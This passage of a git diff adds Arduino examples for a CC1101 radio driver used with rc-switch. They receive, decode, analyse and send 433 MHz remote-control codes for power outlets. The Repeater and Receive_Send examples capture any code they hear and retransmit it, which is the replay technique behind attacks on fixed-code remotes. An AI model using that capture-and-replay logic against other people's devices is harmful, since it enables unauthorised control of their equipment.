examples cc1101/ProtocolAnalyzeDemo_cc1101/ProtocolAnalyzeDemo_cc1101.ino @@ -0,0 +1,131 @@ +/* + Example for analyzing and proposing unknown new protocols + + Requires modified rc-switch branch "protocollessreceiver" + with ReceivedInverted() function exposed. + + https://github.com/Martin-Laclaustra/rc-switch/tree/protocollessreceiver + https://github.com/LSatan/SmartRC-CC1101-Driver-Lib + + ---------------------------------------------------------- + CC1101 Mod by Little Satan. Have Fun! + ---------------------------------------------------------- +*/ + +#include +#include + +int pin; // int for Receive pin. + +RCSwitch mySwitch = RCSwitch(); + +void setup() { + Serial.begin(9600); + +#ifdef ESP32 +pin = 4; // for esp32! Receiver on GPIO pin 4. +#elif ESP8266 +pin = 4; // for esp8266! Receiver on pin 4 = D2. +#else +pin = 0; // for Arduino! Receiver on interrupt 0 => that is pin #2 +#endif + + if (ELECHOUSE_cc1101.getCC1101()){ // Check the CC1101 Spi connection. + Serial.println("Connection OK"); + }else{ + Serial.println("Connection Error"); + } + +//CC1101 Settings: (Settings with "//" are optional!) + ELECHOUSE_cc1101.Init(); // must be set to initialize the cc1101! +//ELECHOUSE_cc1101.setRxBW(812.50); // Set the Receive Bandwidth in kHz. Value from 58.03 to 812.50. Default is 812.50 kHz. +//ELECHOUSE_cc1101.setPA(10); // set TxPower. The following settings are possible depending on the frequency band. (-30 -20 -15 -10 -6 0 5 7 10 11 12) Default is max! + ELECHOUSE_cc1101.setMHZ(433.92); // Here you can set your basic frequency. The lib calculates the frequency automatically (default = 433.92).The cc1101 can: 300-348 MHZ, 387-464MHZ and 779-928MHZ. Read More info from datasheet. + + mySwitch.enableReceive(pin); // Receiver on + + ELECHOUSE_cc1101.SetRx(); // set Receive on + +} + +void loop() { + if (mySwitch.available()) { + + int value = mySwitch.getReceivedValue(); + + if (value == 0) { + Serial.print("Unknown encoding"); + } else { + + int databuffer[64]; // get a copy of the received timings before they are overwritten + int numberoftimings = 2 * mySwitch.getReceivedBitlength() + 2; + if(numberoftimings > 64) numberoftimings = 64; + for (int i = 0; i < numberoftimings; i++) { + databuffer[i] = mySwitch.getReceivedRawdata()[i]; + } + + Serial.print("Received "); + Serial.print( mySwitch.getReceivedValue() ); + Serial.print(" / "); + Serial.print( mySwitch.getReceivedBitlength() ); + Serial.print("bit "); + Serial.print("Protocol: "); + Serial.println( mySwitch.getReceivedProtocol() ); + + unsigned int databitsoffset = abs( (int)mySwitch.getReceivedLevelInFirstTiming() - (int)mySwitch.getReceivedInverted()); + //Serial.println( mySwitch.getReceivedLevelInFirstTiming() ); + //Serial.println( mySwitch.getReceivedInverted() ); + //Serial.println( databitsoffset ); + unsigned long dataduration = 0; + for (unsigned int i = 1 + databitsoffset; i < numberoftimings - 1 + databitsoffset; i++) { + dataduration += databuffer[i]; + } + Serial.print("data bits of pulse train duration: "); + Serial.println( dataduration ); + unsigned int averagebitduration = (int)(0.5 + ((double)dataduration)/mySwitch.getReceivedBitlength()); + unsigned int protocolratio = (unsigned int)(0.5 + ((double)(averagebitduration - mySwitch.getReceivedDelay())) / (double)mySwitch.getReceivedDelay()); + Serial.print("proposed protocol: { "); + Serial.print(mySwitch.getReceivedDelay()); + Serial.print(", { "); + Serial.print( (databitsoffset==0) ? + (int) (0.5 + (double)databuffer[2*mySwitch.getReceivedBitlength()+1]/(double)mySwitch.getReceivedDelay()) + : + (int) (0.5 + (double)databuffer[0]/(double)mySwitch.getReceivedDelay()) + ); + Serial.print(", "); + Serial.print( (databitsoffset==0) ? + (int) (0.5 + (double)databuffer[0]/(double)mySwitch.getReceivedDelay()) + : + (int) (0.5 + (double)databuffer[1]/(double)mySwitch.getReceivedDelay()) + ); + Serial.print(" }, { "); + Serial.print("1"); + Serial.print(", "); + Serial.print(protocolratio); + Serial.print(" }, { "); + Serial.print(protocolratio); + Serial.print(", "); + Serial.print("1"); + Serial.print(" }, "); + Serial.print((mySwitch.getReceivedInverted()) ? "true" : "false" ); + Serial.println(" }"); + + // raw signal + Serial.println("===="); + Serial.print("first level "); + Serial.println((mySwitch.getReceivedLevelInFirstTiming() == 0) ? "down" : "up" ); + for (int i = 0; i < 2*mySwitch.getReceivedBitlength()+2 - 1 + databitsoffset; i++) { + Serial.print(databuffer[i]); + Serial.print(" "); + if((i - databitsoffset) % 16 == 0) Serial.println(""); + } + if ((2*mySwitch.getReceivedBitlength()+2 - 1 + databitsoffset - 1) % 16 != 0) Serial.println(""); + if (databitsoffset != 1) Serial.println(databuffer[2*mySwitch.getReceivedBitlength()+1]); + // plot signal in spreadsheet + Serial.println("===="); + + } + + mySwitch.resetAvailable(); + } +} diff --git a/lib/SmartRC-CC1101-Driver-Lib/examples/Rc-Switch examples cc1101/ReceiveDemo_Advanced_cc1101/ReceiveDemo_Advanced_cc1101.ino b/lib/SmartRC-CC1101-Driver-Lib/examples/Rc-Switch examples cc1101/ReceiveDemo_Advanced_cc1101/ReceiveDemo_Advanced_cc1101.ino new file mode 100644 index 0000000..6092898 --- /dev/null +++ b/lib/SmartRC-CC1101-Driver-Lib/examples/Rc-Switch examples cc1101/ReceiveDemo_Advanced_cc1101/ReceiveDemo_Advanced_cc1101.ino @@ -0,0 +1,52 @@ +/* + Example for receiving + + https://github.com/sui77/rc-switch/ + https://github.com/LSatan/SmartRC-CC1101-Driver-Lib + If you want to visualize a telegram copy the raw data and + paste it into http://test.sui.li/oszi/ + ---------------------------------------------------------- + Mod by Little Satan. Have Fun! + ---------------------------------------------------------- +*/ +#include +#include + +int pin; // int for Receive pin. + +RCSwitch mySwitch = RCSwitch(); + +void setup() { + Serial.begin(9600); + +#ifdef ESP32 +pin = 4; // for esp32! Receiver on GPIO pin 4. +#elif ESP8266 +pin = 4; // for esp8266! Receiver on pin 4 = D2. +#else +pin = 0; // for Arduino! Receiver on interrupt 0 => that is pin #2 +#endif + + if (ELECHOUSE_cc1101.getCC1101()){ // Check the CC1101 Spi connection. + Serial.println("Connection OK"); + }else{ + Serial.println("Connection Error"); + } + +//CC1101 Settings: (Settings with "//" are optional!) + ELECHOUSE_cc1101.Init(); // must be set to initialize the cc1101! +//ELECHOUSE_cc1101.setRxBW(812.50); // Set the Receive Bandwidth in kHz. Value from 58.03 to 812.50. Default is 812.50 kHz. +//ELECHOUSE_cc1101.setPA(10); // set TxPower. The following settings are possible depending on the frequency band. (-30 -20 -15 -10 -6 0 5 7 10 11 12) Default is max! + ELECHOUSE_cc1101.setMHZ(433.92); // Here you can set your basic frequency. The lib calculates the frequency automatically (default = 433.92).The cc1101 can: 300-348 MHZ, 387-464MHZ and 779-928MHZ. Read More info from datasheet. + + mySwitch.enableReceive(pin); // Receiver on interrupt 0 => that is pin #2 + + ELECHOUSE_cc1101.SetRx(); // set Receive on +} + +void loop() { + if (mySwitch.available()) { + output(mySwitch.getReceivedValue(), mySwitch.getReceivedBitlength(), mySwitch.getReceivedDelay(), mySwitch.getReceivedRawdata(),mySwitch.getReceivedProtocol()); + mySwitch.resetAvailable(); + } +} diff --git a/lib/SmartRC-CC1101-Driver-Lib/examples/Rc-Switch examples cc1101/ReceiveDemo_Advanced_cc1101/output.ino b/lib/SmartRC-CC1101-Driver-Lib/examples/Rc-Switch examples cc1101/ReceiveDemo_Advanced_cc1101/output.ino new file mode 100644 index 0000000..31e61ba --- /dev/null +++ b/lib/SmartRC-CC1101-Driver-Lib/examples/Rc-Switch examples cc1101/ReceiveDemo_Advanced_cc1101/output.ino @@ -0,0 +1,70 @@ +static const char* bin2tristate(const char* bin); +static char * dec2binWzerofill(unsigned long Dec, unsigned int bitLength); + +void output(unsigned long decimal, unsigned int length, unsigned int delay, unsigned int* raw, unsigned int protocol) { + + const char* b = dec2binWzerofill(decimal, length); + Serial.print("Decimal: "); + Serial.print(decimal); + Serial.print(" ("); + Serial.print( length ); + Serial.print("Bit) Binary: "); + Serial.print( b ); + Serial.print(" Tri-State: "); + Serial.print( bin2tristate( b) ); + Serial.print(" PulseLength: "); + Serial.print(delay); + Serial.print(" microseconds"); + Serial.print(" Protocol: "); + Serial.println(protocol); + + Serial.print("Raw data: "); + for (unsigned int i=0; i<= length*2; i++) { + Serial.print(raw[i]); + Serial.print(","); + } + Serial.println(); + Serial.println(); +} + +static const char* bin2tristate(const char* bin) { + static char returnValue[50]; + int pos = 0; + int pos2 = 0; + while (bin[pos]!='\0' && bin[pos+1]!='\0') { + if (bin[pos]=='0' && bin[pos+1]=='0') { + returnValue[pos2] = '0'; + } else if (bin[pos]=='1' && bin[pos+1]=='1') { + returnValue[pos2] = '1'; + } else if (bin[pos]=='0' && bin[pos+1]=='1') { + returnValue[pos2] = 'F'; + } else { + return "not applicable"; + } + pos = pos+2; + pos2++; + } + returnValue[pos2] = '\0'; + return returnValue; +} + +static char * dec2binWzerofill(unsigned long Dec, unsigned int bitLength) { + static char bin[64]; + unsigned int i=0; + + while (Dec > 0) { + bin[32+i++] = ((Dec & 1) > 0) ? '1' : '0'; + Dec = Dec >> 1; + } + + for (unsigned int j = 0; j< bitLength; j++) { + if (j >= bitLength - i) { + bin[j] = bin[ 31 + i - (j - (bitLength - i)) ]; + } else { + bin[j] = '0'; + } + } + bin[bitLength] = '\0'; + + return bin; +} diff --git a/lib/SmartRC-CC1101-Driver-Lib/examples/Rc-Switch examples cc1101/ReceiveDemo_Simple_cc1101/ReceiveDemo_Simple_cc1101.ino b/lib/SmartRC-CC1101-Driver-Lib/examples/Rc-Switch examples cc1101/ReceiveDemo_Simple_cc1101/ReceiveDemo_Simple_cc1101.ino new file mode 100644 index 0000000..912262e --- /dev/null +++ b/lib/SmartRC-CC1101-Driver-Lib/examples/Rc-Switch examples cc1101/ReceiveDemo_Simple_cc1101/ReceiveDemo_Simple_cc1101.ino @@ -0,0 +1,60 @@ +/* + Simple example for receiving + + https://github.com/sui77/rc-switch/ + https://github.com/LSatan/SmartRC-CC1101-Driver-Lib + ---------------------------------------------------------- + Mod by Little Satan. Have Fun! + ---------------------------------------------------------- +*/ +#include +#include + +int pin; // int for Receive pin. + +RCSwitch mySwitch = RCSwitch(); + +void setup() { + Serial.begin(9600); + +#ifdef ESP32 +pin = 4; // for esp32! Receiver on GPIO pin 4. +#elif ESP8266 +pin = 4; // for esp8266! Receiver on pin 4 = D2. +#else +pin = 0; // for Arduino! Receiver on interrupt 0 => that is pin #2 +#endif + + if (ELECHOUSE_cc1101.getCC1101()){ // Check the CC1101 Spi connection. + Serial.println("Connection OK"); + }else{ + Serial.println("Connection Error"); + } + +//CC1101 Settings: (Settings with "//" are optional!) + ELECHOUSE_cc1101.Init(); // must be set to initialize the cc1101! +//ELECHOUSE_cc1101.setRxBW(812.50); // Set the Receive Bandwidth in kHz. Value from 58.03 to 812.50. Default is 812.50 kHz. +//ELECHOUSE_cc1101.setPA(10); // set TxPower. The following settings are possible depending on the frequency band. (-30 -20 -15 -10 -6 0 5 7 10 11 12) Default is max! + ELECHOUSE_cc1101.setMHZ(433.92); // Here you can set your basic frequency. The lib calculates the frequency automatically (default = 433.92).The cc1101 can: 300-348 MHZ, 387-464MHZ and 779-928MHZ. Read More info from datasheet. + + + mySwitch.enableReceive(pin); // Receiver on + + ELECHOUSE_cc1101.SetRx(); // set Receive on + +} +void loop() { + + if (mySwitch.available()){ + + Serial.print("Received "); + Serial.print( mySwitch.getReceivedValue() ); + Serial.print(" / "); + Serial.print( mySwitch.getReceivedBitlength() ); + Serial.print("bit "); + Serial.print("Protocol: "); + Serial.println( mySwitch.getReceivedProtocol() ); + + mySwitch.resetAvailable(); + } +} diff --git a/lib/SmartRC-CC1101-Driver-Lib/examples/Rc-Switch examples cc1101/ReceiveDemo_Simple_with_RSSI_cc1101/ReceiveDemo_Simple_with_RSSI_cc1101.ino b/lib/SmartRC-CC1101-Driver-Lib/examples/Rc-Switch examples cc1101/ReceiveDemo_Simple_with_RSSI_cc1101/ReceiveDemo_Simple_with_RSSI_cc1101.ino new file mode 100644 index 0000000..7ddd45c --- /dev/null +++ b/lib/SmartRC-CC1101-Driver-Lib/examples/Rc-Switch examples cc1101/ReceiveDemo_Simple_with_RSSI_cc1101/ReceiveDemo_Simple_with_RSSI_cc1101.ino @@ -0,0 +1,62 @@ +/* + Simple example for receiving with Rssi output. + + https://github.com/sui77/rc-switch/ + https://github.com/LSatan/SmartRC-CC1101-Driver-Lib + ---------------------------------------------------------- + Mod by Little Satan. Have Fun! + ---------------------------------------------------------- +*/ +#include +#include + +int pin; // int for Receive pin. + +RCSwitch mySwitch = RCSwitch(); + +void setup() { + Serial.begin(9600); + +#ifdef ESP32 +pin = 4; // for esp32! Receiver on GPIO pin 4. +#elif ESP8266 +pin = 4; // for esp8266! Receiver on pin 4 = D2. +#else +pin = 0; // for Arduino! Receiver on interrupt 0 => that is pin #2 +#endif + + if (ELECHOUSE_cc1101.getCC1101()){ // Check the CC1101 Spi connection. + Serial.println("Connection OK"); + }else{ + Serial.println("Connection Error"); + } + +//CC1101 Settings: (Settings with "//" are optional!) + ELECHOUSE_cc1101.Init(); // must be set to initialize the cc1101! +//ELECHOUSE_cc1101.setRxBW(812.50); // Set the Receive Bandwidth in kHz. Value from 58.03 to 812.50. Default is 812.50 kHz. +//ELECHOUSE_cc1101.setPA(10); // set TxPower. The following settings are possible depending on the frequency band. (-30 -20 -15 -10 -6 0 5 7 10 11 12) Default is max! + ELECHOUSE_cc1101.setMHZ(433.92); // Here you can set your basic frequency. The lib calculates the frequency automatically (default = 433.92).The cc1101 can: 300-348 MHZ, 387-464MHZ and 779-928MHZ. Read More info from datasheet. + + mySwitch.enableReceive(pin); // Receiver on + + ELECHOUSE_cc1101.SetRx(); // set Receive on + +} +void loop() { + + if (mySwitch.available()){ + + Serial.print("Received "); + Serial.print( mySwitch.getReceivedValue() ); + Serial.print(" / "); + Serial.print( mySwitch.getReceivedBitlength() ); + Serial.print("bit "); + Serial.print("Protocol: "); + Serial.println( mySwitch.getReceivedProtocol() ); + + Serial.print("RSSI: "); + Serial.println(ELECHOUSE_cc1101.getRssi()); + + mySwitch.resetAvailable(); + } +} diff --git a/lib/SmartRC-CC1101-Driver-Lib/examples/Rc-Switch examples cc1101/Receive_Send_Decimal_Demo_Simple/Receive_Send_Decimal_Demo_Simple.ino b/lib/SmartRC-CC1101-Driver-Lib/examples/Rc-Switch examples cc1101/Receive_Send_Decimal_Demo_Simple/Receive_Send_Decimal_Demo_Simple.ino new file mode 100644 index 0000000..0eac0e5 --- /dev/null +++ b/lib/SmartRC-CC1101-Driver-Lib/examples/Rc-Switch examples cc1101/Receive_Send_Decimal_Demo_Simple/Receive_Send_Decimal_Demo_Simple.ino @@ -0,0 +1,118 @@ +/* + Simple example for Receiving and Transmit decimal code for cc1101 + + https://github.com/sui77/rc-switch/ + https://github.com/LSatan/SmartRC-CC1101-Driver-Lib + ---------------------------------------------------------- + Mod by Little Satan. Have Fun! + ---------------------------------------------------------- +*/ +#include +#include + +int pinRx; // int for Receive pin. +int pinTx; // int for Transmit pin. + +RCSwitch mySwitch = RCSwitch(); + +int buttonPin; // for button pin. +int buttonState = 0; // button state +int ccSetRx = 0; // reset state for Receive +int long value = 5393; // int to save value +int bits = 24; // int to save bit number +int prot = 1; // int to save Protocol number +int puls = 320; // int to save pulse length + +void setup() { + Serial.begin(9600); + +#ifdef ESP32 +pinRx = 4; pinTx = 2; // for esp32! Receiver on GPIO pin 4. Transmit on GPIO pin 2. +buttonPin = 34; // set button on GPIO pin 34. +#elif ESP8266 +pinRx = 4; pinTx = 5; // for esp8266! Receiver on pin 4 = D2. Transmit on pin 5 = D1. +buttonPin = 16; // set button on pin 16 = D0. +#else +pinRx = 0; pinTx = 6; // for Arduino! Receiver on interrupt 0 => that is pin #2. Transmit on pin 6. +buttonPin = 4; // set button on pin D4. +#endif + + if (ELECHOUSE_cc1101.getCC1101()){ // Check the CC1101 Spi connection. + Serial.println("Connection OK"); + }else{ + Serial.println("Connection Error"); + } + +//CC1101 Settings: (Settings with "//" are optional!) + ELECHOUSE_cc1101.Init(); // must be set to initialize the cc1101! +//ELECHOUSE_cc1101.setRxBW(812.50); // Set the Receive Bandwidth in kHz. Value from 58.03 to 812.50. Default is 812.50 kHz. +//ELECHOUSE_cc1101.setPA(10); // set TxPower. The following settings are possible depending on the frequency band. (-30 -20 -15 -10 -6 0 5 7 10 11 12) Default is max! + ELECHOUSE_cc1101.setMHZ(433.92); // Here you can set your basic frequency. The lib calculates the frequency automatically (default = 433.92).The cc1101 can: 300-348 MHZ, 387-464MHZ and 779-928MHZ. Read More info from datasheet. + + pinMode(buttonPin, INPUT); // set pin4 as input + +} +void loop() { + + buttonState = digitalRead(buttonPin); // read digital pin and save the state to int + + + if (buttonState == HIGH) { // the button is pressed. Set transmit on. + + ccSetRx = 0; // set resetstate to 0 for next reinit to Recive + ELECHOUSE_cc1101.SetTx(); // set Transmit on + mySwitch.disableReceive(); // Receiver off + mySwitch.enableTransmit(pinTx); // Transmit on + + mySwitch.setRepeatTransmit(3); // transmission repetitions. + mySwitch.setProtocol(prot); // send Received Protocol + mySwitch.setPulseLength(puls);// send Received Delay + mySwitch.send(value, bits); // send Received value/bits + + Serial.print("Transmit "); + Serial.print( value ); + Serial.print(" / "); + Serial.print( bits ); + Serial.print("bit "); + Serial.print("Protocol: "); + Serial.print( prot ); + Serial.print(" Delay: "); + Serial.println( puls ); + } + + + if (buttonState == LOW && ccSetRx == 0){ //the button is not pressed. set cc1101 to Receive. + + ELECHOUSE_cc1101.SetRx(); // set Receive on + mySwitch.disableTransmit(); // set Transmit off + mySwitch.enableReceive(pinRx); // Receiver on + ccSetRx = 1; + } + + if (buttonState == LOW && ccSetRx == 1) { //the button is not pressed and set receive is finish. Receive values. + + + + if (mySwitch.available()){ + + Serial.print("Received "); + Serial.print( mySwitch.getReceivedValue() ); + Serial.print(" / "); + Serial.print( mySwitch.getReceivedBitlength() ); + Serial.print("bit "); + Serial.print("Protocol: "); + Serial.print( mySwitch.getReceivedProtocol() ); + Serial.print(" Delay: "); + Serial.println( mySwitch.getReceivedDelay() ); + + value = mySwitch.getReceivedValue(); // save received Value + bits = mySwitch.getReceivedBitlength(); // save received Bitlength + prot = mySwitch.getReceivedProtocol(); // save received Protocol + puls = mySwitch.getReceivedDelay(); // save received pulse length + + mySwitch.resetAvailable(); + + } + } + +} diff --git a/lib/SmartRC-CC1101-Driver-Lib/examples/Rc-Switch examples cc1101/Repeater_cc1101/Repeater_cc1101.ino b/lib/SmartRC-CC1101-Driver-Lib/examples/Rc-Switch examples cc1101/Repeater_cc1101/Repeater_cc1101.ino new file mode 100644 index 0000000..55b0bc4 --- /dev/null +++ b/lib/SmartRC-CC1101-Driver-Lib/examples/Rc-Switch examples cc1101/Repeater_cc1101/Repeater_cc1101.ino @@ -0,0 +1,83 @@ +/* + Simple example for repeating decimal code for cc1101 + + https://github.com/sui77/rc-switch/ + https://github.com/LSatan/SmartRC-CC1101-Driver-Lib + ---------------------------------------------------------- + Mod by Little Satan. Have Fun! + ---------------------------------------------------------- +*/ +#include +#include + +int pinRx; // int for Receive pin. +int pinTx; // int for Transmit pin. + +RCSwitch mySwitch = RCSwitch(); + +int number = 15; // set number of transmission repetitions. +int TIME = 3000; // set delay befor repeat. For direct repetition after receive set 0. + +void setup() { + Serial.begin(9600); + +#ifdef ESP32 +pinRx = 4; pinTx = 2; // for esp32! Receiver on GPIO pin 4. Transmit on GPIO pin 2. +#elif ESP8266 +pinRx = 4; pinTx = 5; // for esp8266! Receiver on pin 4 = D2. Transmit on pin 5 = D1. +#else +pinRx = 0; pinTx = 6; // for Arduino! Receiver on interrupt 0 => that is pin #2. Transmit on pin 6. +#endif + + if (ELECHOUSE_cc1101.getCC1101()){ // Check the CC1101 Spi connection. + Serial.println("Connection OK"); + }else{ + Serial.println("Connection Error"); + } + +//CC1101 Settings: (Settings with "//" are optional!) + ELECHOUSE_cc1101.Init(); // must be set to initialize the cc1101! +//ELECHOUSE_cc1101.setRxBW(812.50); // Set the Receive Bandwidth in kHz. Value from 58.03 to 812.50. Default is 812.50 kHz. +//ELECHOUSE_cc1101.setPA(10); // set TxPower. The following settings are possible depending on the frequency band. (-30 -20 -15 -10 -6 0 5 7 10 11 12) Default is max! + ELECHOUSE_cc1101.setMHZ(433.92); // Here you can set your basic frequency. The lib calculates the frequency automatically (default = 433.92).The cc1101 can: 300-348 MHZ, 387-464MHZ and 779-928MHZ. Read More info from datasheet. + + ELECHOUSE_cc1101.SetRx(); // set Receive on + mySwitch.enableReceive(pinRx); // Receiver on + +} +void loop() { + + if (mySwitch.available()){ + + Serial.print("Received "); + Serial.print( mySwitch.getReceivedValue() ); + Serial.print(" / "); + Serial.print( mySwitch.getReceivedBitlength() ); + Serial.print("bit "); + Serial.print("Protocol: "); + Serial.print( mySwitch.getReceivedProtocol() ); + Serial.print(" Delay: "); + Serial.println( mySwitch.getReceivedDelay() ); + + delay(TIME); + mySwitch.disableReceive(); // Receiver off + mySwitch.enableTransmit(pinTx); // Transmit on + ELECHOUSE_cc1101.SetTx(); // set Transmit on + + Serial.println("Transmit"); + + mySwitch.setRepeatTransmit(number); // transmission repetitions. + mySwitch.setProtocol(mySwitch.getReceivedProtocol()); // send Received Protocol + mySwitch.setPulseLength(mySwitch.getReceivedDelay()); // send Received Delay + mySwitch.send(mySwitch.getReceivedValue(), mySwitch.getReceivedBitlength()); // send Received value/bits + + ELECHOUSE_cc1101.SetRx(); // set Receive on + mySwitch.disableTransmit(); // set Transmit off + mySwitch.enableReceive(pinRx); // Receiver on + + Serial.println("Receive"); + + mySwitch.resetAvailable(); + + } +} diff --git a/lib/SmartRC-CC1101-Driver-Lib/examples/Rc-Switch examples cc1101/SendDemo_cc1101/SendDemo_cc1101.ino b/lib/SmartRC-CC1101-Driver-Lib/examples/Rc-Switch examples cc1101/SendDemo_cc1101/SendDemo_cc1101.ino new file mode 100644 index 0000000..16e9fb1 --- /dev/null +++ b/lib/SmartRC-CC1101-Driver-Lib/examples/Rc-Switch examples cc1101/SendDemo_cc1101/SendDemo_cc1101.ino @@ -0,0 +1,84 @@ +/* + Example for different sending methods + + https://github.com/sui77/rc-switch/ + https://github.com/LSatan/SmartRC-CC1101-Driver-Lib + ---------------------------------------------------------- + Mod by Little Satan. Have Fun! + ---------------------------------------------------------- +*/ +#include +#include + +int pin; // int for Transmit pin. + +RCSwitch mySwitch = RCSwitch(); + +void setup() { + Serial.begin(9600); + +#ifdef ESP32 +pin = 2; // for esp32! Transmit on GPIO pin 2. +#elif ESP8266 +pin = 5; // for esp8266! Transmit on pin 5 = D1 +#else +pin = 6; // for Arduino! Transmit on pin 6. +#endif + + if (ELECHOUSE_cc1101.getCC1101()){ // Check the CC1101 Spi connection. + Serial.println("Connection OK"); + }else{ + Serial.println("Connection Error"); + } + +//CC1101 Settings: (Settings with "//" are optional!) + ELECHOUSE_cc1101.Init(); // must be set to initialize the cc1101! +//ELECHOUSE_cc1101.setRxBW(812.50); // Set the Receive Bandwidth in kHz. Value from 58.03 to 812.50. Default is 812.50 kHz. +//ELECHOUSE_cc1101.setPA(10); // set TxPower. The following settings are possible depending on the frequency band. (-30 -20 -15 -10 -6 0 5 7 10 11 12) Default is max! + ELECHOUSE_cc1101.setMHZ(433.92); // Here you can set your basic frequency. The lib calculates the frequency automatically (default = 433.92).The cc1101 can: 300-348 MHZ, 387-464MHZ and 779-928MHZ. Read More info from datasheet. + + // Transmitter on + mySwitch.enableTransmit(pin); + + // cc1101 set Transmit on + ELECHOUSE_cc1101.SetTx(); + + // Optional set protocol (default is 1, will work for most outlets) + // mySwitch.setProtocol(2); + + // Optional set pulse length. + // mySwitch.setPulseLength(320); + + // Optional set number of transmission repetitions. + // mySwitch.setRepeatTransmit(15); + +} + +void loop() { + + /* See Example: TypeA_WithDIPSwitches */ + mySwitch.switchOn("11111", "00010"); + delay(1000); + mySwitch.switchOff("11111", "00010"); + delay(1000); + + /* Same switch as above, but using decimal code */ + mySwitch.send(5393, 24); + delay(1000); + mySwitch.send(5396, 24); + delay(1000); + + /* Same switch as above, but using binary code */ + mySwitch.send("000000000001010100010001"); + delay(1000); + mySwitch.send("000000000001010100010100"); + delay(1000); + + /* Same switch as above, but tri-state code */ + mySwitch.sendTriState("00000FFF0F0F"); + delay(1000); + mySwitch.sendTriState("00000FFF0FF0"); + delay(1000); + + delay(20000); +} diff --git a/lib/SmartRC-CC1101-Driver-Lib/examples/Rc-Switch examples cc1101/TypeA_WithDIPSwitches_cc1101/TypeA_WithDIPSwitches_cc1101.ino b/lib/SmartRC-CC1101-Driver-Lib/examples/Rc-Switch examples cc1101/TypeA_WithDIPSwitches_cc1101/TypeA_WithDIPSwitches_cc1101.ino new file mode 100644 index 0000000..d709473 --- /dev/null +++ b/lib/SmartRC-CC1101-Driver-Lib/examples/Rc-Switch examples cc1101/TypeA_WithDIPSwitches_cc1101/TypeA_WithDIPSwitches_cc1101.ino @@ -0,0 +1,71 @@ +/* + Example for outlets which are configured with a 10 pole DIP switch. + + https://github.com/sui77/rc-switch/ + https://github.com/LSatan/SmartRC-CC1101-Driver-Lib + ---------------------------------------------------------- + Mod by Little Satan. Have Fun! + ---------------------------------------------------------- +*/ +#include +#include + +int pin; // int for Transmit pin. + +RCSwitch mySwitch = RCSwitch(); + +void setup() { + Serial.begin(9600); + +#ifdef ESP32 +pin = 2; // for esp32! Transmit on GPIO pin 2. +#elif ESP8266 +pin = 5; // for esp8266! Transmit on pin 5 = D1 +#else +pin = 6; // for Arduino! Transmit on pin 6. +#endif + + if (ELECHOUSE_cc1101.getCC1101()){ // Check the CC1101 Spi connection. + Serial.println("Connection OK"); + }else{ + Serial.println("Connection Error"); + } + +//CC1101 Settings: (Settings with "//" are optional!) + ELECHOUSE_cc1101.Init(); // must be set to initialize the cc1101! +//ELECHOUSE_cc1101.setRxBW(812.50); // Set the Receive Bandwidth in kHz. Value from 58.03 to 812.50. Default is 812.50 kHz. +//ELECHOUSE_cc1101.setPA(10); // set TxPower. The following settings are possible depending on the frequency band. (-30 -20 -15 -10 -6 0 5 7 10 11 12) Default is max! + ELECHOUSE_cc1101.setMHZ(433.92); // Here you can set your basic frequency. The lib calculates the frequency automatically (default = 433.92).The cc1101 can: 300-348 MHZ, 387-464MHZ and 779-928MHZ. Read More info from datasheet. + + // Transmitter on + mySwitch.enableTransmit(pin); + + // cc1101 set Transmit on + ELECHOUSE_cc1101.SetTx(); + + + // Optional set pulse length. + // mySwitch.setPulseLength(320); + +} + +void loop() { + + // Switch on: + // The first parameter represents the setting of the first 5 DIP switches. + // In this example it's ON-ON-OFF-OFF-ON. + // + // The second parameter represents the setting of the last 5 DIP switches. + // In this example the last 5 DIP switches are OFF-ON-OFF-ON-OFF. + mySwitch.switchOn("11001", "01010"); + + // Wait a second + delay(1000); + + // Switch off + mySwitch.switchOff("11001", "01010"); + + // Wait another second + delay(1000); + +} diff --git a/lib/SmartRC-CC1101-Driver-Lib/examples/Rc-Switch examples cc1101/TypeB_WithRotaryOrSlidingSwitches_cc1101/TypeB_WithRotaryOrSlidingSwitches_cc1101.ino b/lib/SmartRC-CC1101-Driver-Lib/examples/Rc-Switch examples cc1101/TypeB_WithRotaryOrSlidingSwitches_cc1101/TypeB_WithRotaryOrSlidingSwitches_cc1101.ino new file mode 100644 index 0000000..a3fdf2b --- /dev/null +++ b/lib/SmartRC-CC1101-Driver-Lib/examples/Rc-Switch examples cc1101/TypeB_WithRotaryOrSlidingSwitches_cc1101/TypeB_WithRotaryOrSlidingSwitches_cc1101.ino @@ -0,0 +1,70 @@ +/* + Example for outlets which are configured with two rotary/sliding switches. + + https://github.com/sui77/rc-switch/ + https://github.com/LSatan/SmartRC-CC1101-Driver-Lib + ---------------------------------------------------------- + Mod by Little Satan. Have Fun! + ---------------------------------------------------------- +*/ +#include +#include + +int pin; // int for Transmit pin. + +RCSwitch mySwitch = RCSwitch(); + +void setup() { + Serial.begin(9600); + +#ifdef ESP32 +pin = 2; // for esp32! Transmit on GPIO pin 2. +#elif ESP8266 +pin = 5; // for esp8266! Transmit on pin 5 = D1 +#else +pin = 6; // for Arduino! Transmit on pin 6. +#endif + + if (ELECHOUSE_cc1101.getCC1101()){ // Check the CC1101 Spi connection. + Serial.println("Connection OK"); + }else{ + Serial.println("Connection Error"); + } + +//CC1101 Settings: (Settings with "//" are optional!) + ELECHOUSE_cc1101.Init(); // must be set to initialize the cc1101! +//ELECHOUSE_cc1101.setRxBW(812.50); // Set the Receive Bandwidth in kHz. Value from 58.03 to 812.50. Default is 812.50 kHz. +//ELECHOUSE_cc1101.setPA(10); // set TxPower. The following settings are possible depending on the frequency band. (-30 -20 -15 -10 -6 0 5 7 10 11 12) Default is max! + ELECHOUSE_cc1101.setMHZ(433.92); // Here you can set your basic frequency. The lib calculates the frequency automatically (default = 433.92).The cc1101 can: 300-348 MHZ, 387-464MHZ and 779-928MHZ. Read More info from datasheet. + + // Transmitter on + mySwitch.enableTransmit(pin); + + // cc1101 set Transmit on + ELECHOUSE_cc1101.SetTx(); + + // Optional set pulse length. + // mySwitch.setPulseLength(320); + +} + +void loop() { + + // Switch on: + // The first parameter represents the setting of the first rotary switch. + // In this example it's switched to "1" or "A" or "I". + // + // The second parameter represents the setting of the second rotary switch. + // In this example it's switched to "4" or "D" or "IV". + mySwitch.switchOn(1, 4); + + // Wait a second + delay(1000); + + // Switch off + mySwitch.switchOff(1, 4); + + // Wait another second + delay(1000); + +} diff --git a/lib/SmartRC-CC1101-Driver-Lib/examples/Rc-Switch examples cc1101/TypeC_Intertechno_cc1101/TypeC_Intertechno_cc1101.ino b/lib/SmartRC-CC1101-Driver-Lib/examples/Rc-Switch examples cc1101/TypeC_Intertechno_cc1101/TypeC_Intertechno_cc1101.ino new file mode 100644 index 0000000..c266994 --- /dev/null 